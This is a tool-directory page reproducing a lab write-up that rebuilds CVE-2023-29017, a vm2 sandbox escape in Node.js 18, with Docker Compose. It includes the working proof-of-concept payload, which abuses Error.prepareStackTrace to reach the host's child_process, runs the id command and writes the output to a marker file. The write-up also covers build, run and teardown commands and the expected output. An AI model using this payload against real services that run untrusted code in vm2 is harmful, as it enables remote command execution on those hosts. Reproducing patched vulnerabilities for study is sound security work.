Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 reproduction with Docker Compose and PoC | Kitploit
Tools/GitHubGitHub/gunwoo105/node_cve-2023-29017
Container SecurityVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 reproduction with Docker Compose and PoC

View Repository
152 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-29017 | Remote Code Execution via vm2 Sandbox Escape

[WHS 4th Generation, Class 31] - Kim Geon-woo (@gunwoo105)

Vulnerability Summary

vm2 is a Node.js sandbox library for executing untrusted JavaScript in a restricted environment. Under normal circumstances, code inside the sandbox should not have access to sensitive features of Node.js such as process, require, child_process, and the host file system.

However, in vm2 3.9.14 and below, when an unhandled asynchronous error occurs, host objects passed to Error.prepareStackTrace are not handled safely. An attacker can exploit the constructor chain of this object to obtain the Function constructor and process object from the host context, and ultimately execute operating system commands via child_process.

Environment Setup

Components

ComponentVersion / Configuration
Node.js18.15.0
vm23.9.14
Patch version3.9.15
Execution environmentDocker Compose
Container usernode
Service port127.0.0.1:3000
Package installationnpm ci + package-lock.json

Instead of using a pre-built vulnerable image, the image is built directly from the official Node.js base image and the source code included in the repository. The Dockerfile checks the Node.js and vm2 versions, and the build fails if the versions do not match expectations.

RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
FileRole
docker-compose.ymlDefines the configuration and execution order of the vulnerable service and PoC container
DockerfileBuilds the vulnerable service and PoC images in a multi-stage manner
vulnerable/src/server.jsProvides /health, /execute, /evidence endpoints
vulnerable/src/worker.jsExecutes user input in vm2 in a separate process
poc/poc.jsAutomates version checking, benign control, attack, and evidence verification
vulnerable/package-lock.jsonPins package versions including transitive dependencies

The reason for running worker.js as a separate process is that the PoC triggers an unhandled asynchronous error. Even if the worker terminates during the attack, the web server continues to run, and the success or failure can be reliably verified using a marker file.

Vulnerability Conditions

All of the following conditions must be met:

  1. The application uses vm2 3.9.14 or below.
  2. The attacker can control the JavaScript input to be executed.
  3. The JavaScript is executed inside vm2.
  4. Asynchronous JavaScript execution is allowed.
  5. An unhandled asynchronous error reaches the vulnerable stack trace handling path.
  6. The Node.js process running vm2 has permission to execute operating system commands or access files.

Not every service that has vm2 installed is automatically exposed to remote attacks. The service must have a feature that executes attacker-controlled code in vm2. The /execute endpoint in this lab minimally implements such a use case.

The attack flow is as follows:

Malicious JavaScript delivered
        │
        ▼
Unhandled asynchronous error triggered
        │
        ▼
Error.prepareStackTrace called
        │
        ▼
Host frames object exposed
        │
        ▼
Host Function constructor obtained
        │
        ▼
process → require → child_process
        │
        ▼
OS command execution inside the container

Reproduction Steps

Build Image

docker compose build --no-cache

Image build success

Start Vulnerable Service

docker compose up -d vulnerable

Check container status.

docker compose ps

Check Service Status and Version

curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  http://127.0.0.1:3000/health

Service status and version check

Run PoC

docker compose run --rm poc
echo "exit_code=$?"

The PoC automatically verifies the following:

  1. Health check of the vulnerable service
  2. Node.js and vm2 versions
  3. Execution of benign JavaScript 21 * 2
  4. Verification that no marker file is created for benign code
  5. Sending the CVE-2023-29017 payload
  6. Checking if /tmp/vm2-pwned was created
  7. Verifying that the file content contains uid=
  8. Returns exit code 0 on success, exit code 1 on failure

To run everything from build to PoC in one command:

docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verify Evidence File

docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Teardown Environment

docker compose down -v --rmi local --remove-orphans

PoC Code

The full PoC is included in poc/poc.js. The core payload is as follows:

Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Code Behavior

Override Error.prepareStackTrace

Error.prepareStackTrace = (error, frames) => {

The attacker overrides the function that is called when an error stack trace is generated.

Obtain Host Function Constructor

frames.constructor.constructor

By following the constructor chain of the host frames object exposed by the vulnerable vm2, access is gained to the Function constructor of the host context.

Obtain Host process Object

frames.constructor.constructor('return process')();

Creates and executes a function that returns process from the host context.

Execute Operating System Command

hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Loads child_process, which is not available inside the sandbox, and executes the Linux id command.

Trigger Unhandled Asynchronous Error

(async () => {}).constructor('return process')();

Makes an async function reference process, which is unavailable in the sandbox, thereby creating a rejected Promise that reaches the vulnerable stack trace handling path.

Execution Results

Benign Control

Benign JavaScript is executed inside vm2 and returns 42, but does not create evidence of operating system command execution.

[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Vulnerability Exploitation

When the malicious payload is sent, it escapes the vm2 sandbox and executes the id command inside the container with the permission of the vulnerable Node.js process.

[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

The PoC re-verifies the saved evidence and returns the success status.

[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC execution success

The evidence file can be checked directly, yielding the following result.

Marker evidence verification

The marker file is deleted before each execution and is not created during the benign code execution step, thus preventing false positives from leftover results of previous runs.

Download Tool